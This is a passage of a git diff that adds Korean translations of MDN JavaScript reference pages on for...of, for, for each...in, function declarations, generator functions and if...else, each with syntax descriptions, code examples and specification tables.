+<pre class="brush:js">let iterable = new Map([["a", 1], ["b", 2], ["c", 3]]);
+
+for (let entry of iterable) {
+  console.log(entry);
+}
+// [a, 1]
+// [b, 2]
+// [c, 3]
+
+for (let [key, value] of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="jsxrefSet에_대해_반복">{{jsxref("Set")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = new Set([1, 1, 2, 2, 3, 3]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="DOM_컬렉션에_대해_반복">DOM 컬렉션에 대해 반복</h3>
+
+<p>{{domxref("NodeList")}} 같은 DOM 컬렉션에 대해 반복: 다음 예는 article의 직계 자손인 paragraph에 <code>read</code> 클래스를 추가합니다:</p>
+
+<pre class="brush:js">// 주의: 이는 NodeList.prototype[Symbol.iterator]가
+// 구현된 플랫폼에서만 작동합니다
+let articleParagraphs = document.querySelectorAll("article &gt; p");
+
+for (let paragraph of articleParagraphs) {
+  paragraph.classList.add("read");
+}
+</pre>
+
+<h3 id="생성기에_대해_반복">생성기에 대해 반복</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/function*">생성기</a>에 대해서도 반복할 수 있습니다:</p>
+
+<pre class="brush:js">function* fibonacci() { // 생성기 함수
+  let [prev, curr] = [1, 1];
+  while (true) {
+    [prev, curr] = [curr, prev + curr];
+    yield curr;
+  }
+}
+
+for (let n of fibonacci()) {
+  console.log(n);
+  // 1000에서 수열을 자름
+  if (n &gt;= 1000) {
+    break;
+  }
+}
+</pre>
+
+<h3 id="다른_반복가능_객체에_대해_반복">다른 반복가능 객체에 대해 반복</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable</a> 프로토콜을 명시해서 구현하는 객체에 대해서도 반복할 수 있습니다:</p>
+
+<pre class="brush:js">var iterable = {
+  [Symbol.iterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return { value: this.i++, done: false };
+        }
+        return { value: undefined, done: true };
+      }
+    };
+  }
+};
+
+for (var value of iterable) {
+  console.log(value);
+}
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="for...of와_for...in의_차이"><code>for...of</code>와 <code>for...in</code>의 차이</h3>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> 루프는 객체의 모든 열거가능한 속성에 대해 반복합니다.</p>
+
+<p><code>for...of</code> 구문은 <strong>컬렉션</strong> 전용입니다. 모든 객체보다는, <code>[Symbol.iterator]</code> 속성이 있는 모든 컬렉션 요소에 대해 이 방식으로 반복합니다.</p>
+
+<p>다음 예는 <code>for...of</code> 루프와 <code>for...in</code> 루프의 차이를 보입니다.</p>
+
+<pre class="brush:js">Object.prototype.objCustom = function () {};
+Array.prototype.arrCustom = function () {};
+
+let iterable = [3, 5, 7];
+iterable.foo = "hello";
+
+for (let i in iterable) {
+  console.log(i); // logs 0, 1, 2, "foo", "arrCustom", "objCustom"
+}
+
+for (let i of iterable) {
+  console.log(i); // logs 3, 5, 7
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.for_of")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/for_each...in">for each...in</a> - 비슷한 문이지만, 속성 이름 자체보다는 객체의 속성값을 반복합니다 (사라짐).</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">Map.prototype.forEach()</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for/index.html b/files/ko/web/javascript/reference/statements/for/index.html
new file mode 100644
index 0000000000..cba49dbba6
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for/index.html
@@ -0,0 +1,160 @@
+---
+title: for
+slug: Web/JavaScript/Reference/Statements/for
+tags:
+  - JavaScript
+  - Loop
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/for
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>for 문</strong>은 괄호로 감싸고 세미콜론으로 구분한 세 개의 선택식과, 반복을 수행할 문(주로 {{jsxref("Statements/block", "블럭문", "", 0)}})으로 이루어져 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-for.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">for ([<em>initialization</em>]; [<em>condition</em>]; [<em>final-expression</em>])
+   <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>initialization</code></dt>
+ <dd>식(할당식 포함) 또는 변수 선언. 주로 카운터 변수를 초기화할 때 사용합니다. <code>var</code> 또는 <code>let</code> 키워드를 사용해 새로운 변수를 선언할 수도 있습니다. <code>var</code> 키워드로 선언한 변수는 반복문에 제한되지 않습니다. 즉 <code>for</code> 문과 같은 범위<sup>scope</sup>에 위치합니다. <code>let</code> 키워드로 선언한 변수는 반복문의 지역 변수가 됩니다.<br>
+ <br>
+ 식의 결과는 버려집니다.</dd>
+ <dt><code>condition</code></dt>
+ <dd>매 반복마다 평가할 식. 평가 결과가 참이라면 <code>statement</code>를 실행합니다. 이 식을 넣지 않았을 때 계산 결과는 언제나 참이 됩니다. 계산 결과가 거짓이라면 <code>for</code> 문의 바로 다음 식으로 건너 뜁니다.</dd>
+ <dt><code>final-expression</code></dt>
+ <dd>매 반복 후 평가할 식. 다음번 <code>condition</code> 평가 이전에 발생합니다. 주로 카운터 변수를 증감하거나 바꿀 때 사용합니다.</dd>
+ <dt><code>statement</code></dt>
+ <dd>조건의 평가 결과가 참일 때 실행하는 문. 여러 문을 반복 실행하려면 {{jsxref("Statements/block", "블럭문", "", 0)}}(<code>{ ... }</code>)으로 묶어야 합니다. 아무것도 실행하지 않으려면 {{jsxref("Statements/empty", "공백문", "", 0)}} (<code>;</code>)을 사용하세요.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for_사용하기"><code>for</code> 사용하기</h3>
+
+<p>다음 <code>for</code> 문은 변수 <code>i</code>를 선언하고 0으로 초기화하여 시작합니다. <code>i</code>가 9보다 작은지를 확인하고 맞으면 명령문을 수행한 후 <code>i</code>의 값을 1 높입니다.</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; 9; i++) {
+   console.log(i);
+   // 기타 등등
+}
+</pre>
+
+<h3 id="선택적_식_사용">선택적 식 사용</h3>
+
+<p><code>for</code> 반복문의 3개 식은 모두 선택 사항입니다.</p>
+
+<p>예를 들어, 변수를 초기화하려고 <code>initialization</code> 블럭을 사용할 필요는 없습니다.</p>
+
+<pre class="brush: js">var i = 0;
+for (; i &lt; 9; i++) {
+    console.log(i);
+    // 기타 등등
+}
+</pre>
+
+<p><code>initialization</code> 블럭처럼 <code>condition</code> 블럭도 선택 사항입니다. 다만 이 경우, 반복문 본문에 무한 반복을 탈출할 수 있는 장치를 추가해야 합니다.</p>
+
+<pre class="brush: js">for (var i = 0;; i++) {
+   console.log(i);
+   if (i &gt; 3) break;
+   // 기타 등등
+}</pre>
+
+<p>세 가지 모두 생략할 수도 있습니다. 위와 같이 {{jsxref("Statements/break", "break")}} 문을 사용해 반복을 탈출할 수 있도록 추가하고, 변수를 수정해 탈출 조건이 언젠가 참이 되도록 해야 합니다.</p>
+
+<pre class="brush: js">var i = 0;
+
+for (;;) {
+  if (i &gt; 3) break;
+  console.log(i);
+  i++;
+}
+</pre>
+
+<h3 id="문_없이_for_사용하기">문 없이 <code>for</code> 사용하기</h3>
+
+<p>다음 <code>for</code> 반복 사이클은 노드의 위치 오프셋을 <code>final-expression</code>에서 계산해 문이나 블럭문이 필요하지 않으므로 세미콜론을 사용합니다.</p>
+
+<pre>function showOffsetPos(sId) {
+  var nLeft = 0, nTop = 0;
+
+  for (
+    var oItNode = document.getElementById(sId); /* initialization */
+    oItNode; /* condition */
+    nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent /* final-expression */
+  ); /* semicolon */
+
+  console.log('Offset position of \'' + sId + '\' element:\n left: ' + nLeft + 'px;\n top: ' + nTop + 'px;');
+}
+
+/* Example call: */
+
+showOffsetPos('content');
+
+// Output:
+// "Offset position of "content" element:
+// left: 0px;
+// top: 153px;"</pre>
+
+<div class="note"><strong>참고:</strong> 여기서 쓰인 세미콜론은, JavaScript가 <strong>필수로 요구하는 몇 안되는 세미콜론</strong>입니다. 물론 세미콜론 없이는 반복 사이클 선언의 바로 다음 줄을 반복 본문으로 인식합니다.</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.2', 'for statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.3', 'for statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.3', 'for statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-statement', 'for statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-statement', 'for statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.for")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Statements/empty", "공백문", "", 0)}}</li>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/do...while", "do...while")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for_each...in/index.html b/files/ko/web/javascript/reference/statements/for_each...in/index.html
new file mode 100644
index 0000000000..9fa9901aae
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for_each...in/index.html
@@ -0,0 +1,85 @@
+---
+title: for each...in
+slug: Web/JavaScript/Reference/Statements/for_each...in
+tags:
+  - Deprecated
+  - E4X
+  - JavaScript
+  - Obsolete
+  - Statement
+translation_of: Archive/Web/JavaScript/for_each...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div class="warning">
+<p>The <code>for each...in</code> statement is deprecated as the part of ECMA-357 (<a href="/en-US/docs/Archive/Web/E4X" title="/en-US/docs/E4X">E4X</a>) standard. E4X support has been removed. Consider using <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> instead.<br>
+ <br>
+ <strong>Firefox now warns about the usage of <code>for each...in</code> and it no longer works starting with Firefox 57.<br>
+ Please see <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Warning: JavaScript 1.6's for-each-in loops are deprecated</a> for migration help.</strong></p>
+</div>
+
+<p><code><strong>for each...in</strong></code> 문은 객체의 모든 속성 값에 대해 지정된 변수를 반복합니다. 각각의 고유한 특성에 대해 지정된 명령문이 실행됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">for each (<em>variable</em> in <em>object</em>) {
+  <em>statement</em>
+}</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>var 키워드로 선택적으로 선언된 속성 값을 반복하는 변수입니다. 이 변수는 루프가 아니라 함수의 local이 됩니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>반복될 객체입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statement</code></dt>
+ <dd>각 속성에 대해 실행할 명령문입니다. 루프 내에서 여러 명령문을 실행하려면 블록 명령문 ({...})을 사용하여 해당 명령문을 그룹화하십시오.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>일부 기본 제공 속성은 반복되지 않습니다. 여기에는 객체 기본 제공 메서드 전부가 포함됩니다.</p>
+
+<p>ex) String의 indexOf 메소드.</p>
+
+<p>그러나 사용자가 정의한 모든 속성은 반복됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_for_each...in">Using <code>for each...in</code></h3>
+
+<p><strong>Warning:</strong> Never use a loop like this on arrays. Only use it on objects. See <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> for more details.</p>
+
+<p>The following snippet iterates over an object's properties, calculating their sum:</p>
+
+<pre class="brush:js">var sum = 0;
+var obj = {prop1: 5, prop2: 13, prop3: 8};
+
+for each (var item in obj) {
+  sum += item;
+}
+
+console.log(sum); // logs "26", which is 5+13+8</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of a current ECMA-262 specification. Implemented in JavaScript 1.6 and deprecated.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.for_each_in")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> - a similar statement that iterates over the property <em>names</em>.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> - a similar statement that iterates over the property <em>values</em> but can only be used for iteratable types, so not for generic objects</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/function/index.html b/files/ko/web/javascript/reference/statements/function/index.html
new file mode 100644
index 0000000000..fe1eee366a
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/function/index.html
@@ -0,0 +1,177 @@
+---
+title: 함수 선언
+slug: Web/JavaScript/Reference/Statements/function
+tags:
+  - Function
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>함수 선언(function declaration)</strong>은 지정된 매개변수(parameter)를 갖는 함수를 정의합니다.</p>
+
+<p>{{jsxref("Function")}} 생성자나 {{jsxref("Operators/function", "함수 표현식(function expression)")}}을 사용해서 정의할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-function.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>,[..., <em>param</em>]]]) { [<em>statements</em>] }
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수로 전달되는 인수(argument)의 이름. 인수의 최대 개수는 엔진마다 다름.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통(body)을 구성하는 문(statement).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수 선언으로 생성된 함수는 <code>Function</code> 객체로, <code>Function</code> 객체의 모든 속성(property), 메서드 및 행위 특성(behavior)을 갖습니다. 함수에 관한 더 자세한 정보는 {{jsxref("Function")}} 참조하시기 바랍니다.</p>
+
+<p>함수는 또한 표현식({{jsxref("Operators/function", "함수 표현식")}} 참조)을 사용하여 생성될 수 있습니다.</p>
+
+<p>기본적으로 함수는 <code>undefined</code>를 반환합니다. 다른 값을 반환하기 위해서는, 함수는 반환값을 지정하는 {{jsxref("Statements/return", "return")}} 문이 있어야 합니다.</p>
+
+<h3 id="조건부로_생성되는_함수">조건부로 생성되는 함수</h3>
+
+<p>함수는 조건부로 선언될 수 있습니다. 즉, function 문은 <code>if</code> 문 안에 들어갈 수 있습니다. 하지만, 구현에 따라 결과에 일관성이 없으므로 이 패턴은 실제 코드에서는 사용해선 안됩니다. 조건부로 함수를 생성하고자 한다면, 함수 표현식(function expression)을 대신 사용하세요.</p>
+
+<pre class="brush: js">var hoisted = "foo" in this;
+console.log(`'foo' name ${hoisted ? "is" : "is not"} hoisted. typeof foo is ${typeof foo}`);
+if (false) {
+  function foo(){ return 1; }
+}
+
+// In Chrome:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Firefox:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Edge:
+// 'foo' name is not hoisted. typeof foo is undefined
+//
+// In Safari:
+// 'foo' name is hoisted. typeof foo is function
+</pre>
+
+<p>결과는 참으로 평가되는 조건과 정확하게 일치합니다.</p>
+
+<pre class="brush: js">var hoisted = "foo" in this;
+console.log(`'foo' name ${hoisted ? "is" : "is not"} hoisted. typeof foo is ${typeof foo}`);
+if (true) {
+  function foo(){ return 1; }
+}
+
+// In Chrome:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Firefox:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Edge:
+// 'foo' name is not hoisted. typeof foo is undefined
+//
+// In Safari:
+// 'foo' name is hoisted. typeof foo is function
+</pre>
+
+<h3 id="함수_선언_끌어올리기">함수 선언 끌어올리기</h3>
+
+<p>자바스크립트에서 함수 선언은 그 선언을 둘러싼 함수의 최상부나 전역 범위(global scope)로 끌어올려집니다.</p>
+
+<pre class="brush: js">hoisted(); // logs "foo"
+
+function hoisted() {
+  console.log("foo");
+}
+</pre>
+
+<p>{{jsxref("Operators/function", "함수 표현식")}}은 끌어올려지지 않으므로 주의하세요:</p>
+
+<pre class="brush: js">notHoisted(); // TypeError: notHoisted is not a function
+
+var notHoisted = function() {
+   console.log("bar");
+};
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="function_사용하기"><code>function</code> 사용하기</h3>
+
+<p>다음 코드는 제품 <code>a</code>, <code>b</code> 및 <code>c</code>의 단위 판매량이 주어졌을 때, 총 판매량을 반환하는 함수를 선언합니다.</p>
+
+<pre class="brush: js">function calc_sales(units_a, units_b, units_c) {
+   return units_a*79 + units_b * 129 + units_c * 699;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.0에서 구현됨.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.function")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "함수 및 함수 범위")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Operators/function", "함수 표현식")}}</li>
+ <li>{{jsxref("Statements/function*", "function* 문")}}</li>
+ <li>{{jsxref("Operators/function*", "function* 식")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "화살표 함수")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/function_star_/index.html b/files/ko/web/javascript/reference/statements/function_star_/index.html
new file mode 100644
index 0000000000..9178c28602
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/function_star_/index.html
@@ -0,0 +1,159 @@
+---
+title: function*
+slug: Web/JavaScript/Reference/Statements/function*
+tags:
+  - ECMAScript6
+  - Generator
+  - Iterator
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>function*</strong></code> 선언 (끝에 별표가 있는 <code>function</code> keyword) 은 <em>generator function</em> 을 정의하는데, 이 함수는 {{jsxref("Global_Objects/Generator","Generator")}} 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}</div>
+
+
+
+<p>generator function 은 {{jsxref("Global_Objects/GeneratorFunction", "GeneratorFunction")}} 생성자와 {{jsxref("Operators/function*", "function* expression")}} 을 사용해서 정의할 수 있습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수명.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 인수를 255개까지 가질 수 있다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 본체를 구성하는 구문들.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>Generator는 빠져나갔다가 나중에 다시 돌아올 수 있는 함수입니다. 이때 컨텍스트(변수 값)는 출입 과정에서 저장된 상태로 남아 있습니다.</p>
+
+<p>Generator 함수는 호출되어도 즉시 실행되지 않고, 대신 함수를 위한 <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">Iterator</a> 객체가 반환됩니다. Iterator의 <code>next()</code> 메서드를 호출하면 Generator 함수가 실행되어 <strong>{{jsxref("Operators/yield", "yield")}}</strong> 문을 만날 때까지 진행하고, 해당 표현식이 명시하는 Iterator로부터의 반환값을 반환합니다. <strong>{{jsxref("Operators/yield*", "yield*")}}</strong> 표현식을 마주칠 경우, 다른 Generator 함수가 위임(delegate)되어 진행됩니다.</p>
+
+<p>이후 <code>next()</code> 메서드가 호출되면 진행이 멈췄던 위치에서부터 재실행합니다. <code>next()</code> 가 반환하는 객체는 <code>yield</code>문이 반환할 값(yielded value)을 나타내는 <code>value</code> 속성과, Generator 함수 안의 모든 <code>yield</code> 문의 실행 여부를 표시하는 boolean 타입의 <code>done</code> 속성을 갖습니다. <code>next()</code> 를 인자값과 함께 호출할 경우, 진행을 멈췄던 위치의 <code>yield</code> 문을  <code>next()</code> 메서드에서 받은 인자값으로 치환하고 그 위치에서 다시 실행하게 됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: js">function* idMaker(){
+  var index = 0;
+  while(index &lt; 3)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...
+</pre>
+
+<h3 id="yield*_를_사용한_예제">yield* 를 사용한 예제</h3>
+
+<pre class="brush: js">function* anotherGenerator(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+
+function* generator(i){
+  yield i;
+  yield* anotherGenerator(i);
+  yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h3 id="Generator_에_인자값을_넘기는_예제">Generator 에 인자값을 넘기는 예제</h3>
+
+<pre class="brush: js">function* logGenerator() {
+  console.log(yield);
+  console.log(yield);
+  console.log(yield);
+}
+
+var gen = logGenerator();
+
+// the first call of next executes from the start of the function
+// until the first yield statement
+gen.next();
+gen.next('pretzel'); // pretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+</pre>
+
+<h3 id="Generator_는_생성자로서_사용될_수_없다">Generator 는 생성자로서 사용될 수 없다</h3>
+
+<pre><code>function* f() {}
+var obj = new f; // throws "TypeError: f is not a constructor"</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.statements.generator_function")}}</p>
+
+<h2 id="관련_항목">관련 항목</h2>
+
+<ul>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function declaration")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>Other web resources:
+  <ul>
+   <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> an ES2015 generator compiler to ES5</li>
+   <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li>
+   <li><a href="https://www.youtube.com/watch?v=ZrgEZykBHVo&amp;list=PLuoyIZT5fPlG44bPq50Wgh0INxykdrYX7&amp;index=1">Hemanth.HM: The New gen of *gen(){}</a></li>
+   <li><a href="http://taskjs.org/">Task.js</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/if...else/index.html b/files/ko/web/javascript/reference/statements/if...else/index.html
new file mode 100644
index 0000000000..cde42b2a80
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/if...else/index.html
@@ -0,0 +1,177 @@
+---
+title: if...else
+slug: Web/JavaScript/Reference/Statements/if...else
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>if</code> 문</strong>은 지정한 조건이 {{glossary("truthy", "참")}}인 경우 명령문(statement)을 실행합니다. 조건이 {{glossary("falsy", "거짓")}}인 경우 또 다른 명령문이 실행 될 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-ifelse.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">if (<em>condition</em>)
+   <em>statement</em><em>1</em>
+[else
+   <em>statement2</em>]
+</pre>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>참 또는 거짓으로 평가되는 <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#표현식">표현식</a>입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statement1</code></dt>
+ <dd>조건이 참으로 평가될 경우 실행되는 문입니다.<br>
+ 중첩된 if구문을 포함하여 어떤 구문이든 쓸 수 있습니다. 다중구문을 사용할 경우  ({ ... })<a href="/en-US/docs/Web/JavaScript/Reference/Statements/block" title="en/JavaScript/Reference/Statements/block">블럭</a> 구문 으로 그룹화 하고 실행하지 않으려면 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">빈</a> 구문을 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>statement</em>2</code></dt>
+ <dd>이 구문은 조건이 거짓일경우 다른 조항이 있을 때 실행되는 구문입니다. 블록 문과 if문의 중첩을 호함한 모든문이 될 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다중의 if...else 문은 else if 절을 만들기 위해 중첩될 수 있다.<br>
+ 자바스크립트에서는 elseif (하나의 단어) 키워드가 존재하지 않는다.</p>
+
+<pre class="eval">if (<em>조건1</em>)
+   <em>명령문1</em>
+else if (<em>조건2</em>)
+   <em>명령문2</em>
+else if (<em>조건3</em>)
+   <em>명령문3</em>
+...
+else
+   <em>명령문N</em>
+</pre>
+
+<p>아래 작업한 것을 보면,  if문을 중첩 사용하면 들여쓰기된 것이 제대로 보여집니다.</p>
+
